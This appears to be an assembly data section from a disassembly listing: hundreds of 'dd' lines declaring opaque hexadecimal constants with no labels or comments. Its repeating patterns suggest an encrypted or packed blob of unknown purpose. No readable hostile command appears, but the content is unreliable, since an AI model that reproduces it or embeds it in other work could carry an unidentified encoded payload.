		dd 0CDE704BFh, 7FE14640h, 704DE756h, 0EF7FE984h, 8658CCE7h
		dd 0E7C67FF1h, 0F947604Ch, 0CFE7877Fh, 7FC1C550h, 7C4FE70Ah
		dd 757FC946h, 4444CEE7h, 0E7B57FD1h, 0D987404Eh, 0C9E7AE7Fh
		dd 3FE1C558h, 7449E7C9h, 0B3FE984h, 857CC8E7h, 0E73D3FF1h
		dd 0C50414E7h, 0E7E738F9h, 0F9C50408h, 8E7E759h, 3EF9C544h
		dd 0C630E7E7h, 0E7E9F9C5h, 0C5C520E7h, 0E7E73CF9h, 0F9C54508h
		dd 38E7E75Ah, 0FF9C586h, 43CE7E7h, 0E757F9C5h, 0C5C72CE7h
		dd 0E7E797F9h, 0F9C50410h, 0E7E75Bh, 34F9C584h,	624E7E7h
		dd 0E78EF9C5h, 0C58634E7h, 0E7E74DF9h, 0F9C54718h, 34E7E7C2h
		dd 79F9C547h, 0C624E7E7h, 0E708F9C5h, 0C50610E7h, 0E7E701F9h
		dd 0F9C5453Ch, 18E7E768h, 18F9C505h, 0C614E7E7h, 0E7E8F9C5h
		dd 0C54730E7h, 0E7E79CF9h, 0F9C50620h, 4E7E7B9h, 0A9F9C586h
		dd 8530E7E7h, 0E7E4F9C5h, 0C5C638E7h, 0E7E72DF9h, 0F9C5C628h
		dd 3CE7E7E3h, 0A4F9C587h, 870CE7E7h, 0E724F9C5h, 0C5852CE7h
		dd 0E7E7C5F9h, 0F9C5462Ch, 38E7E71Fh, 49F9C545h, 430E7E7h
		dd 0E7A7F9C5h, 0C5C728E7h, 0E7E7EEF9h, 0F9C5850Ch, 1CE7E723h
		dd 73F9C544h, 4724E7E7h, 0E771F9C5h, 0C50508E7h, 0E7E750F9h
		dd 0FCE40728h, 68F5F7AFh, 2EFCE446h, 0C774F5F7h, 0F731FCE4h
		dd 0C58660F5h, 0F5FCADC1h, 0FCE44564h, 60F5F7DAh, 33FCE407h
		dd 444CF5F7h, 0F717FCE4h, 0E4075CF5h, 0F5F7ABFCh, 0FCE4C44Ch
		dd 44F5F7F6h, 16FCE484h, 8664F5F7h, 0F71EFCE4h,	0E4474CF5h
		dd 0F5F71BFCh, 0FCE4C468h, 68F5F7B6h, 84FCE405h, 0C470F5F7h
		dd 0F79BFCE4h, 0E4C56CF5h, 0F5F73AFCh, 0FCE48464h, 58F5F7EAh
		dd 0CFFCE487h, 8460F5F7h, 0F70DFCE4h, 0E4C464F5h, 0F5F706FCh
		dd 0FCE4876Ch, 44F5F782h, 98FCE405h, 754F5F7h, 0F748FCE4h
		dd 0E4864CF5h, 0F5F7ADFCh, 0FCE48564h, 68F5F71Ah, 51FCE406h
		dd 0C650F5F7h, 0F7E6FCE4h, 0E48568F5h, 0F5F7DEFCh, 0FCE48458h
		dd 74F5F700h, 20FCE4C4h, 0C674F5F7h, 0F70CFCE4h, 0E4045CF5h
		dd 0F5F7AAFCh, 0FCE44474h, 40F5F7B2h, 39FCE485h, 4464F5F7h
		dd 0F785FCE4h, 0E4C458F5h, 0F5F7D2FCh, 0FCE4456Ch, 64F5F76Fh
		dd 0C7FCE487h, 0C47CF5F7h, 0F75EFCE4h, 0E40744F5h, 0F5F7E0FCh
		dd 0FCE4865Ch, 48F5F772h, 13FCE4C5h, 4664F5F7h,	0F769FCE4h
		dd 0E4054CF5h, 0F5F767FCh, 0FCE4C440h, 74F5F764h, 0F2FCE445h
		dd 0C66CF5F7h, 0F711FCE4h, 0E44754F5h, 0F5F77DFCh, 0FCE48760h
		dd 74F5F780h, 0BBFCE446h, 4678F5F7h, 0F7D7FCE4h, 0E40578F5h
		dd 0F5F7BEFCh, 0FCE4C750h, 5CF5F790h, 8FFCE4C4h, 4454F5F7h
		dd 0F770FCE4h, 0E40674F5h, 0F5F75FFCh, 0FCE44470h, 5CF5F77Bh
		dd 0E7FCE447h, 74CF5F7h, 0F7FBFCE4h, 0E44570F5h, 0F5F76EFCh
		dd 0FCE48554h, 74F5F74Ch, 54FCE407h, 4644F5F7h,	0F792FCE4h
		dd 0E40474F5h, 0F5F722FCh, 0FCE4C448h, 48F5F78Ah, 47FCE4C7h
		dd 464F5F7h, 0F76AFCE4h, 0E40770F5h, 0F5F77CFCh, 0FCE4C444h
		dd 7CF5F725h, 66FCE406h, 4460F5F7h, 0F7A8FCE4h,	0E48478F5h
		dd 0ADCC22FCh, 2DA4C161h, 6124B3A5h, 0A56DBBC1h, 0C161EBB3h
		dd 0A3A52D9Dh, 0B4C1616Ch, 63B3A5EDh, 2DBCC161h, 612D83A5h
		dd 0A56DB1C1h, 0C1616C93h, 93A5EDBBh, 8CC161ADh, 2983A52Dh
		dd 0ADB0C161h, 6167A3A5h, 0A52DBAC1h, 0C1612DA3h, 0B3A56D84h
		dd 0A8C1616Dh, 2E93A5EDh, 2D83C161h, 61E183A5h,	0A5AD8DC1h
		dd 0C161E1B3h, 0B3A56DBCh, 0AAC16127h, 0EEA3A5EDh, 0ADB1C161h
		dd 616E93A5h, 0A2EDB3C1h, 7EA548ADh, 64D923CDh,	0EDF9A54Ah
		dd 5424E1E2h, 0E2CD79A5h, 0A55624E9h, 0F1A2EDF8h, 78A55024h
		dd 24F9A2CDh, 0EDFBA552h, 5C24C162h, 62CD7BA5h,	0A55E24C9h
		dd 0D122EDFAh, 7AA55824h, 4D922CDh, 9EC161E0h, 0F5A3A5EDh
		dd 0E4F5E1C5h, 0C5F7A5E3h, 0EBE4D561h, 0E0C5F1A5h, 0A5F3A4F5h
		dd 0D560C5F3h, 0FDA5FBA4h, 64F5E3C5h, 0C5FFA5C3h, 0CB64D563h
		dd 0E2C5F9A5h, 0A5D324F5h, 0D562C5FBh, 0C5A5DB24h, 0E7F5EDC5h
		dd 0C5C765E3h, 0EBE7D56Dh, 0ECC5C165h, 65F3A7F5h, 0D56CC5C3h
		dd 0CD65FBA7h, 67F5EFC5h, 0C5CF65C3h, 0CB67D56Fh, 0EEC5C965h
		dd 65D327F5h, 0D56EC5CBh, 0D565DB27h, 0E6F5E9C5h, 0C5D725E3h
		dd 0EBE6D569h, 0E8C5D125h, 25F3A6F5h, 0D568C5D3h, 0DD25FBA6h
		dd 66F5EBC5h, 0C5DF25C3h, 0CB66D56Bh, 0EAC5D925h, 25D326F5h
		dd 0D56AC5DBh, 0E525DB26h, 0E1F5F585h, 85E7E4E3h, 0EBE1D575h
		dd 0F485E1E4h, 0E4F3A1F5h, 0D57485E3h, 0EDE4FBA1h, 61F5F785h
		dd 85EFE4C3h, 0CB61D577h, 0F685E9E4h, 0E4D321F5h, 0D57685EBh
		dd 0F5E4DB21h, 0E0F5F185h, 85F7A4E3h, 0EBE0D571h, 0F085F1A4h
		dd 0A4F3A0F5h, 0D57085F3h, 0FDA4FBA0h, 60F5F385h, 85FFA4C3h
		dd 0CB60D573h, 0F285F9A4h, 0A4D320F5h, 0D57285FBh, 0C5A4DB20h
		dd 0E3F5FD85h, 85C764E3h, 0EBE3D57Dh, 0FC85C164h, 64F3A3F5h
		dd 0D57C85C3h, 0CD64FBA3h, 63F5FF85h, 85CF64C3h, 0CB63D57Fh
		dd 0FE85C964h, 64D323F5h, 0D57E85CBh, 0D564DB23h, 0E2F5F985h
		dd 85D724E3h, 0EBE2D579h, 0F885D124h, 24F3A2F5h, 0D57885D3h
		dd 0DD24FBA2h, 62F5FB85h, 85DF24C3h, 0CB62D57Bh, 0FA85D924h
		dd 24D322F5h, 0D57A85DBh, 0E6A1E522h, 0EDA4C169h, 0CDF58325h
		dd 63E4F7E1h, 61CDF785h, 856BE4D7h, 0F7E0CDF1h,	0F38573A4h
		dd 0A4D760CDh, 0CDFD857Bh, 4364F7E3h, 63CDFF85h, 854B64D7h
		dd 0F7E2CDF9h, 0FB855324h, 24D762CDh, 0CDC5855Bh, 63E7F7EDh
		dd 6DCDC745h, 456BE7D7h, 0F7ECCDC1h, 0C34573A7h, 0A7D76CCDh
		dd 0CDCD457Bh, 4367F7EFh, 6FCDCF45h, 454B67D7h,	0F7EECDC9h
		dd 0CB455327h, 27D76ECDh, 0CDD5455Bh, 63E6F7E9h, 69CDD705h
		dd 56BE6D7h, 0F7E8CDD1h, 0D30573A6h, 0A6D768CDh, 0CDDD057Bh
		dd 4366F7EBh, 6BCDDF05h, 54B66D7h, 0F7EACDD9h, 0DB055326h
		dd 26D76ACDh, 8DE5055Bh, 63E1F7F5h, 758DE7C4h, 0C46BE1D7h
		dd 0F7F48DE1h, 0E3C473A1h, 0A1D7748Dh, 8DEDC47Bh, 4361F7F7h
		dd 778DEFC4h, 0C44B61D7h, 0F7F68DE9h, 0AAE7B109h, 0ADF54779h
		dd 71E1F77Ah, 63ADF644h, 4775A4D7h, 0D76B2DE6h,	0F3845DA7h
		dd 6FD72B6Dh, 2DEE4449h, 712CF722h, 0CE2DD4C4h,	84456AC7h
		dd 0D7376DCEh, 0F6C569EBh, 0E6E7ED6Dh, 0ADF0064Dh, 51A2C78Eh
		dd 0C72DD344h, 47D29E7h, 0C7986DF4h, 0C0C455E5h, 0ABF736EDh
		dd 2DD98679h, 4967C794h, 6C2DF2C6h, 0C475A6F7h,	0C7886DE5h
		dd 0EA4769E3h, 0EEF7526Dh, 0ADEC844Dh, 496EC7ACh, 0B4ADC285h
		dd 0C55D6BC7h, 0C7B26DFDh, 0C4C6652Ah, 27D7152Dh, 0EDE70471h
		dd 6521E785h, 86EDF706h
		dd 8779A1C7h, 0D73F6DC6h, 0E30641E8h, 2DD7252Dh, 2DC28459h
		dd 55ECC7A0h, 0A6DF087h, 44D23F7h, 0C7802DCEh, 0FF8441E0h
		dd 2EC7D02Dh, 0EDC8C769h, 61A2E7F3h, 0B72DF645h, 4441EBE7h
		dd 0F746EDCCh, 0E1C64569h, 0E9C7B8ADh, 0ADCFC741h, 412DC7D8h
		dd 83ADDD04h, 55D60E7h,	0F72CADCEh, 0F804616Eh,	0EBF74A2Dh
		dd 6DD3C459h, 516DE7D9h, 97EDF247h, 4755E7E7h, 0C7BAADC3h
		dd 0D1054D29h, 28D73D6Dh, 0EDFDC44Dh, 6164C79Ch, 6DE705h
		dd 569E0F7h, 0D77DADC5h, 0E00459E0h, 0A3E789ADh, 2DC50479h
		dd 5D63D70Bh, 5A6DE147h, 4765EDF7h, 0E79BEDF9h,	0F1454965h
		dd 61E7F96Dh, 0ADFD4445h, 51A1F706h, 0C0EDFC06h, 445528C7h
		dd 0D7716DE2h, 0D2064562h, 0E2D70F6Dh, 0EDC68669h, 6D61D779h
		dd 2235C7C5h, 84792DD7h, 0D7B0ADC3h, 0D7454D6Fh, 67E71F6Dh
		dd 0EDCAC579h, 69E9C788h, 946DE3C5h, 874D62D7h,	0E7282DF6h
		dd 0D5477165h, 0ADD7EFEDh, 0EDC6066Dh, 6DAFF70Ah, 7FF5E707h
		dd 46516EC7h, 0E745EDF3h, 0EAC74D20h, 67D7E22Dh, 0ADDC4779h
		dd 69ECC7C8h, 59EDE206h, 0C45DEAE7h, 0F75DADCCh, 0FF4471EFh
		dd 29F7D82Dh, 0EDE0C57Dh, 61A8F74Ah, 7DEDD186h,	0C67524D7h
		dd 0C75A6DC3h, 0CB05756Dh, 2CF731EDh, 2DD6476Dh, 71EFE7B0h
		dd 9D6DEFC5h, 4775E6C7h, 0F71F2DD3h, 0E6C549A2h, 66F7DE6Dh
		dd 0ADC5C465h, 5D6FC71Eh, 2ADD484h, 751A5C7h, 0F7E1ADCBh
		dd 0C4055DE0h, 6AF747EDh, 2DF8877Dh, 5126F764h,	0A4EDDB86h
		dd 0C4512FC7h, 0C78A2DC3h, 0F18761A1h, 0AEF786ADh, 2DE10461h
		dd 75A5F7B2h, 0D0EDE3C5h, 446523D7h, 0D7A0ADF5h, 0FD85412Ah
		dd 0A7E71B6Dh, 6DD8867Dh, 41ACD79Fh, 35ADE5C7h,	447929E7h
		dd 0D7422DFCh, 0CD0765A2h, 2EF7752Dh, 6DECC579h, 796DE707h
		dd 33EDFC46h, 44166E7h,	0D75E2DEDh, 0D9476168h,	0A1D767ADh
		dd 0ADE70455h, 456BF726h, 626DE106h, 0B28FF7D7h, 0D7446DA5h
		dd 0CE056DEDh, 61E79EEDh, 0EDF4855Dh, 552FE7F9h, 79ADFF44h
		dd 65121C7h, 0D71AEDEBh, 0E0C5596Ah, 0A0C7EB6Dh, 6DCB0551h
		dd 7D24C790h, 0ABEDC805h, 0C54DA7D7h, 0E793EDEAh, 0F94445A3h
		dd 0E7F74CADh, 0ADFE8749h, 75E8F7F0h, 6EEDD345h, 0C55566C7h
		dd 0F73CEDEFh, 0F28769EEh, 25D71CADh, 2DCB0775h, 49E8C740h
		dd 816DFE85h, 0C7652CC7h, 0D7942DE5h, 0F9446121h, 0EFC7ED2Dh
		dd 0ADD2844Dh, 5563F737h, 63EDF785h, 466DA4C7h,	0C74B6DF6h
		dd 0C5C66565h, 0ABF76F6Dh, 0EDC70555h, 6DE1D7DDh, 20EDFE85h
		dd 0C55D24F7h, 0D7A6EDECh, 0EE066D65h, 2FF7146Dh, 6DD34551h
		dd 756EF7CFh, 8FEDFB85h, 847969E7h, 0F7A32DD4h,	0D04759ADh
		dd 21E724ADh, 6DFC465Dh, 696ED792h, 0FDADDA47h,	6792AF7h
		dd 0D76CEDE4h, 0D784552Ch, 2EE798ADh, 0ADC3C475h, 49A9F72Bh
		dd 7A2DDE84h, 0C749A6E7h, 0C7AFADE6h, 0C6C649A2h, 28E754EDh
		dd 2DC8077Dh, 4563E7DAh, 992DC107h, 8679E3D7h, 0C7D2EDD4h
		dd 0C6C46D69h, 0E4E784ADh, 6DF28569h, 75E1E76Dh, 0A12DE3C7h
		dd 0C771E7E7h, 0F7ECADEFh, 0DE866D22h, 6AE7AA6Dh, 2DDC475Dh
		dd 79E4F769h, 8DEDCCC6h, 855123F7h, 0D72E6DFBh,	0D7865561h
		dd 0EAD7E96Dh, 6DE3C551h, 792BE771h, 1D2DE404h,	4549E8E7h
		dd 0E7606DD6h, 0D5474123h, 6CF78BADh, 6DF18561h, 796AC7F7h
		dd 0FC2DCCC4h, 4745E7C7h, 0E7C62DD9h, 0D54765A9h, 64C72A2Dh
		dd 0ADD8847Dh, 6D68E7EEh, 0C1EDD645h, 0C7792BD7h, 0D776ADECh
		dd 0DD8641A9h, 0E9F791EDh, 2DEFC755h, 452AC74Dh, 272DF187h
		dd 477DA6C7h, 0D7852DD0h, 0DF477129h, 67E752ADh, 6DD2864Dh
		dd 59A7C746h, 0A6DC805h, 4555AFE7h, 0E782EDDFh,	0DD8465ABh
		dd 25F741ADh, 0ADFA444Dh, 756CD7D6h, 74ADDB84h,	67DE3C7h
		dd 0C7216DE8h, 0FD8765E9h, 6BE7CB2Dh, 0EDDC455Dh, 6D20C718h
		dd 0E2DE6C7h, 8759AAF7h, 0C7C5ADF8h, 0F544412Eh, 22E7012Dh
		dd 2DF04459h, 596FF7AEh, 61EDC0C6h, 0C645EED7h,	0D7836DC9h
		dd 0FD856566h, 0AFD7BAEDh, 6DF94645h, 4923C73Dh, 0BEDDE86h
		dd 0C65162D7h, 0F7FBEDC3h, 0FC445D65h, 0AAE7E3ADh, 6DFF4655h
		dd 69E5F708h, 43ADEAC7h, 467D6FE7h, 0F77E6DF0h,	0DA474DA3h
		dd 22C75C2Dh, 6DD94561h, 5965E716h, 0DFEDF046h,	74DABC7h
		dd 0F7032DC2h, 0CAC44D68h, 29C768ADh, 6DFA464Dh, 41A8E7A7h
		dd 0FA6DD545h, 561A8C7h, 0D7496DC1h, 0DA454D2Fh, 0E6F72DEDh
		dd 6DC0C67Dh, 71E6E7C0h, 7C6DC705h, 475E9E7h, 0D7CAADEBh
		dd 0E70655A6h, 0AFC7576Dh, 6DF54665h, 69EEE7D1h, 0D36DC205h
		dd 661A4F7h, 0C7C3EDE1h, 0C9C46161h, 0AAD7532Dh, 2DE80459h
		dd 7925C7F1h, 586DF485h, 47D27D7h, 0F750ADE8h, 0CAC4692Dh
		dd 21F7C92Dh, 6DCFC655h, 75A0E7B6h, 0E46DF346h,	875D28D7h
		dd 0D7882DF4h, 0CFC455EBh, 64D7C7ADh, 0EDC9C661h, 7D6EE722h
		dd 0B1ADC0C4h, 875122D7h, 0E75FADFBh, 0E9C561A5h, 20F7A86Dh
		dd 6DE2064Dh, 49E2D7F8h, 0B5EDEE06h, 76927C7h, 0C7A2ADC2h
		dd 0FE876D60h, 0E0C7512Dh, 0EDF54641h, 51E6D770h, 342DF344h
		dd 874DE4D7h, 0E7BD2DF2h, 0C405792Dh, 62C7E66Dh, 2DDD8441h
		dd 492DC7E0h, 0EAEDF646h, 0C65D6DF7h, 0C72C6DCCh, 0C407792Bh
		dd 0A6F797ADh, 0EDF94661h, 4D2BF79Ch, 89ADE204h, 875526E7h
		dd 0F7122DF7h, 0D7847160h, 26D7392Dh, 0EDF18545h, 6962F756h
		dd 282DE204h, 84692ED7h, 0C7962DD2h, 0D884596Bh, 60D74F2Dh
		dd 0EDD88659h, 45A4E73Eh, 13ADE104h, 0C64DADC7h, 0F7196DCAh
		dd 0CD0741EDh, 26C7D4ADh, 0EDC10545h, 6D27E7E8h, 0F56DC6C6h
		dd 857D20D7h, 0C715EDF8h, 0C70755E2h, 25E7AC2Dh, 0EDD94545h
		dd 596DD7B7h, 80EDE806h, 541E1F7h, 0F7A56DCDh, 0E9C545E2h
		dd 28C709EDh, 6DD18645h, 752CE7DCh, 95ADF344h, 449ECE7h
		dd 0F7C42DEEh, 0D78671E3h, 4CE748EDh, 0ADF944D4h, 45E8E7F8h
		dd 75ADF207h, 0A2C0E0E7h, 93D2ADB6h, 0B34265E9h, 6993DC6Dh
		dd 2D944245h, 0E06F93DEh, 0D86DB622h, 245A0B3h,	0B3DA2D93h
		dd 80CD65ECh, 2A63E4EDh, 2DB2CD45h, 65ED63E6h, 0E06DAA8Dh
		dd 8D456173h, 63E2AD82h, 844D656Ch, 0E543EC2Dh,	0EDB74D45h
		dd 65EF53EEh, 0E82DA30Dh, 0D45AB53h, 53EA6DB0h,	0BFCC656Bh
		dd 2773F42Dh, 2DB6CC45h, 656773F6h, 0F0ADA18Ch,	8C456343h
		dd 53F2AD9Dh, 0B84C6563h, 0AE43FC2Dh, 0EDB24C45h, 65A343FEh
		dd 0F86D910Ch, 0C456463h, 63FA6DA7h, 0A0CF65E3h, 0EB63C4ADh
		dd 6DA1CF45h, 652463C6h, 0C06DB18Fh, 8F456063h,	53C2EDBCh
		dd 924F65ADh, 0E753CC6Dh, 2D874F45h, 65A053CEh,	0C8ED8F0Fh
		dd 0F45A553h, 43CAEDA6h, 80CE656Ch, 0EA43D46Dh,	6D97CE45h
		dd 656E43D6h, 0D0ADB98Eh, 8E456753h, 63D26DB7h,	844E65EAh
		dd 2973DC6Dh, 2DB04E45h, 652453DEh, 0D86DAF0Eh,	0E452C73h
		dd 43DA6D85h, 90C965E6h, 6633E4ADh, 6D8FC945h, 65A503E6h
		dd 0E0ADB489h, 89456A33h, 3E2ED98h, 0A349652Fh,	0AE33ECADh
		dd 0EDA04945h, 652313EEh, 0E82D9A09h, 945A723h,	23EA6DB2h
		dd 92C86529h, 2E33F4ADh, 6DADC845h, 656623F6h, 0F02DBE88h
		dd 8845A113h, 33F22D8Ch, 81486569h, 53E70586h, 0BEC9C444h
		dd 5CD2E7CEh, 1BBED1C4h, 847C52E7h, 0E762BED9h,	0E14578DDh
		dd 5DE7FC7Eh, 7EE94560h, 4CDCE791h, 897EF105h, 0C5585CE7h
		dd 0E7517EF9h, 0C1875CDFh, 5FE7367Eh, 7EC9476Ch, 7CDEE7BFh
		dd 677ED185h, 46705EE7h
		dd 0E7357ED9h, 0E18550D9h, 59E7273Eh, 3EE94750h, 44D8E78Bh
		dd 843EF1C6h, 0C45458E7h, 0E70B3EF9h, 0C10650DBh, 5BE7023Eh
		dd 3EC90754h, 74DAE794h, 783ED105h, 86545AE7h, 0E7FF3ED9h
		dd 0E14428E5h, 65E757F9h, 0F9E98524h, 24E4E7F5h, 0BAF9F145h
		dd 60464E7h, 0E7A1F9F9h, 0C14410E7h, 67E737F9h,	0F9C90628h
		dd 24E6E7DEh, 0FEF9D186h, 870066E7h, 0E75BF9D9h, 0E1452CE1h
		dd 61E7D4B9h, 0B9E9850Ch, 18E0E7D3h, 14B9F146h,	0C62060E7h
		dd 0E75AB9F9h, 0C1053CE3h, 63E716B9h, 0B9C94504h, 34E2E76Ch
		dd 0DCB9D147h, 0C51062E7h, 0E703B9D9h, 0E1442CEDh, 6DE75579h
		dd 79E94604h, 30ECE772h, 4A79F106h, 4146CE7h, 0E78F79F9h
		dd 0C10728EFh, 6FE72B79h, 79C94738h, 8EEE77Eh, 0A779D104h
		dd 6346EE7h, 0E7A579D9h, 0E14704E9h, 69E7BC39h,	39E9041Ch
		dd 3CE8E7E7h, 9339F146h, 0C61C68E7h, 0E7D039F9h, 0C1863CEBh
		dd 6BE70E39h, 39C90520h, 24EAE7E9h, 2839D1C6h, 473C6AE7h
		dd 0E7C939D9h, 0E18530F5h, 75E777F8h, 0F8E90638h, 18F4E766h
		dd 86F8F145h, 0C41074E7h, 0E7F0F8F9h, 0C18618F7h, 77E71DF8h
		dd 0F8C98508h, 18F6E7CBh, 0E4F8D104h, 841076E7h, 0E739F8D9h
		dd 0E1451CF1h, 71E773B8h, 0B8E9842Ch, 28F0E729h, 0C6B8F185h
		dd 40C70E7h, 0E746B8F9h, 0C1C700F3h, 73E75EB8h,	0B8C90530h
		dd 14F2E79Eh, 0B3B8D105h, 51872E7h, 0E7BBB8D9h,	0E10718FDh
		dd 7DE75F78h, 78E98408h, 3CFCE7E0h, 8578F1C7h, 51C7CE7h
		dd 0E7EE78F9h, 0C18418FFh, 7FE77978h, 78C9C514h, 20FEE707h
		dd 0B978D1C4h, 861C7EE7h, 0E7C278D9h, 0E18724F9h, 79E7BD38h
		dd 38E90424h, 2CF8E7F8h, 0C38F1C4h, 443078E7h, 0E7CC38F9h
		dd 0C1841CFBh, 7BE73F38h, 38C9C430h, 28FAE7F3h,	5B38D1C5h
		dd 44107AE7h, 0E77838D9h, 0E1C414C5h, 45E710FBh, 0FBE9C608h
		dd 28C4E7F4h, 73FBF147h, 850844E7h, 0E766FBF9h,	0C1C624C7h
		dd 47E7B8FBh, 0FBC90624h, 0C6E700h, 32FBD106h, 871446E7h
		dd 0E77BFBD9h, 0E18400C1h, 41E705BBh, 0BBE94520h, 4C0E7BFh
		dd 87BBF1C6h, 40040E7h,	0E76ABBF9h, 0C10420C3h,	43E736BBh
		dd 0BBC94710h, 0CC2E7CEh, 77BBD105h, 52042E7h, 0E729BBD9h
		dd 0E10418CDh, 4DE7387Bh, 7BE9471Ch, 8CCE7CDh, 0FF7BF145h
		dd 6104CE7h, 0E7FE7BF9h, 0C10604CFh, 4FE7117Bh,	7BC9C52Ch
		dd 8CEE706h, 0EF7BD147h, 0C62C4EE7h, 0E73B7BD9h, 0E1C504C9h
		dd 49E7043Bh, 3BE94730h, 2CC8E77Fh, 0E23BF1C7h,	73448E7h
		dd 0E7593BF9h, 0C1462CCBh, 4BE7D83Bh, 3BC9071Ch, 1CCAE77Dh
		dd 313BD106h, 84304AE7h, 0E79D3BD9h, 0E14608D5h, 55E7DEFAh
		dd 0FAE94618h, 24D4E702h, 47FAF185h, 0C53C54E7h, 0E7A4FAF9h
		dd 0C10710D7h, 57E786FAh, 0FAC98410h, 30D6E7D0h, 1BFAD185h
		dd 460056E7h, 0E735FAD9h, 0E1871CD1h, 51E775BAh, 0BAE9C708h
		dd 1CD0E733h, 67BAF146h, 0C51850E7h, 0E762BAF9h, 637834D3h
		dd 2B32FF6Dh, 0AD955855h, 75E202F9h, 0FB2D9A18h, 18556622h
		dd 32C52DB0h, 0BCDB7566h, 0AF02C72Dh, 0ADB1DB55h, 752702C1h
		dd 0C3AD829Bh, 9B55AB12h, 32CD6DB3h, 0A05B75ECh, 0E722CF2Dh
		dd 0ADAE5B55h, 756402C9h, 0CB6D9F1Bh, 1B556702h, 12D52D85h
		dd 0A8DA75A4h, 0A912D7EDh, 6D8DDA55h, 756F32D1h, 0D3EDBC9Ah
		dd 9A55A512h, 22DD2DB8h, 835A75E3h, 0AA32DFEDh,	0ED9E5A55h
		dd 752202D9h, 78ED8C1Ah, 0C4696DD7h, 0D7D22DE3h, 0D9456969h
		dd 0EAB3E52Dh, 2DB9C175h, 55ADB3E7h, 0E1ED87C1h, 8175E4B3h
		dd 0B3E3ED81h, 97815526h, 0EFB3EDEDh, 0ED8A4175h, 55E6A3EFh
		dd 0E9ADB741h, 175EB93h, 0B3EBEDB3h, 0AD01556Eh, 0A3A3F5ADh
		dd 6DA9C075h, 552693F7h, 0F1ED89C0h, 8075ECA3h,	0B3F3ADABh
		dd 878055E8h, 6593FD6Dh, 6DA44075h, 552883FFh, 0F96DAB40h
		dd 752E93h, 83FB6DB8h, 0A90055ECh, 0A183C52Dh, 0EDB6C375h
		dd 556EA3C7h, 0C12D92C3h, 83752F93h, 93C36DA5h,	888355ECh
		dd 0E483CDEDh, 6DBC4375h, 5522B3CFh, 0C9AD8643h, 3756E93h
		dd 0A3CBAD9Dh, 92035564h, 6C83D56Dh, 0AD8BC275h, 55AB83D7h
		dd 0D12DAAC2h, 82756BA3h, 83D36DBEh, 0AC8255A6h, 22A3DDEDh
		dd 6D974275h, 55E793DFh, 0D96DB142h, 275A383h, 83DB6D99h
		dd 0B5025569h, 6863E52Dh, 6DBDCD75h, 556843E7h,	0E1ADB5CDh
		dd 8D75AA43h, 63E32DB3h, 0A88D55EEh, 0A563EDADh, 6D904D75h
		dd 556D63EFh, 0E9EDBA4Dh, 2DF0DD53h, 73EB2D8Fh,	910D55A6h
		dd 0E173F5ADh, 0EDB8CC75h, 55E843F7h, 0F1ADB3CCh, 8C75A153h
		dd 63F3AD84h, 0B18C5525h, 2663FDEDh, 0ED824C75h, 556973FFh
		dd 0F92D804Ch, 0C75EE73h, 53FB2DBAh, 0AB0C55E2h, 0A653C52Dh
		dd 2DA8CF75h, 556F43C7h, 0C1AD8ACFh, 8F756853h,	63C32D96h
		dd 918F55A9h, 0E163CDEDh, 2DA64F75h, 55A773CFh,	0C9ADAC4Fh
		dd 0F75AC73h, 53CBEDA4h, 810F55EEh, 0E973D52Dh,	6DA1CE75h
		dd 55AE43D7h, 0D1ADB9CEh, 8E75A053h, 73D32D91h,	0B28E55E1h
		dd 0A753DDEDh, 6D8E4E75h, 552C73DFh, 0D92D9F4Eh, 0E75EB53h
		dd 43DBED95h, 0A90E55A2h, 0E503E52Dh, 2D80C975h, 556703E7h
		dd 0E1ED90C9h, 8975E303h, 3E36D94h, 8F89556Eh, 2A03ED2Dh
		dd 0ED8A4975h, 552123EFh, 0E9ADA349h, 975E813h,	3EB6DAAh
		dd 880955ECh, 0E003F5ADh, 6D9BC875h, 55A223F7h,	0F12D85C8h
		dd 88756933h, 3F32DA7h,	0BD88552Dh, 6E33FDADh, 2D844875h
		dd 556D23FFh, 0F9ED8548h, 8752903h, 3FB2DBAh, 0B4085564h
		dd 0E013C5ADh, 0AD81CB75h, 556313C7h, 0C16DA4CBh, 8B756523h
		dd 33C3ADADh, 0BB8B55A1h, 6213CD2Dh, 0AD964B75h, 556113CFh
		dd 0C9EDBA4Bh, 0B75A033h, 33CB2D8Eh, 0A00B55AEh, 0A613D52Dh
		dd 0ED8DCA75h, 552E13D7h, 0D1EDA6CAh, 8A75A403h, 33D32DAAh
		dd 0A28A5562h, 6333DDEDh, 2DBF4A75h, 55A533DFh,	0D9ED914Ah
		dd 0A75AF03h, 13DBED8Bh, 0AF0A55EAh, 0AAC2E56Dh, 6DA6D575h
		dd 55E3E2E7h, 0E1AD94D5h, 957523C2h, 0F2E3ED84h, 9B955528h
		dd 0ABC2EDEDh, 0ADB15575h, 55A9E2EFh, 0E9EDA355h, 1575E0E2h
		dd 0F2EB6DBDh, 0A515552Eh, 68F2F5ADh, 2D8DD475h, 556DF2F7h
		dd 0F1EDBCD4h, 947569E2h, 0C2F3AD99h, 0A19455E1h, 0A3E2FD6Dh
		dd 0B9CDC7A7h, 2023E72Fh, 73B9D585h, 0C51CA2E7h, 0E784B9DDh
		dd 0E5471C22h, 0ADE7AE79h, 79EDC518h, 82DE7F2h,	6879F584h
		dd 0C50CACE7h, 0E73079FDh, 0C5461C2Ch, 0AFE70379h, 79CDC624h
		dd 382FE7D2h, 6179D504h, 8728AEE7h, 0E7CD79DDh,	0E5452C2Eh
		dd 0A9E72339h, 39EDC500h, 3C29E707h, 6239F507h,	620A8E7h
		dd 0E7B839FDh, 0C5870028h, 0ABE73A39h, 39CDC520h, 3C2BE779h
		dd 1B39D544h, 0C428AAE7h, 0E72D39DDh, 0E546102Ah, 0B5E7DCF8h
		dd 0F8ED0520h, 3835E73Dh, 54F8F587h, 0C40CB4E7h, 0E70BF8FDh
		dd 0C5060034h, 0B7E7AFF8h, 0F8CD871Ch, 3C37E749h, 95F8D5C7h
		dd 728B6E7h, 0E7F9F8DDh, 0E5873436h, 0B1E79FB8h, 0B8ED0614h
		dd 1031E7D9h, 29B8F504h, 0C400B0E7h, 0E7EBB8FDh, 0C5C60C30h
		dd 0B3E7D0B8h, 0B8CD0630h, 3833E77Bh, 8EB8D507h, 50CB2E7h
		dd 0E7FBB8DDh, 0E5841832h, 0BDE77A78h, 78EDC710h, 3DE7D3h
		dd 1578F505h, 8410BCE7h, 0E7D178FDh, 0C586303Ch, 0BFE7AC78h
		dd 78CD4714h, 143FE7E3h, 2B78D587h, 453CBEE7h, 0E7B378DDh
		dd 0E5870C3Eh, 0B9E73638h, 38ED8730h, 1439E71Ah, 0A038F507h
		dd 4638B8E7h, 0E73E38FDh
		dd 0C5871838h, 0BBE7C938h, 38CD4734h, 303BE72Ah, 4D38D547h
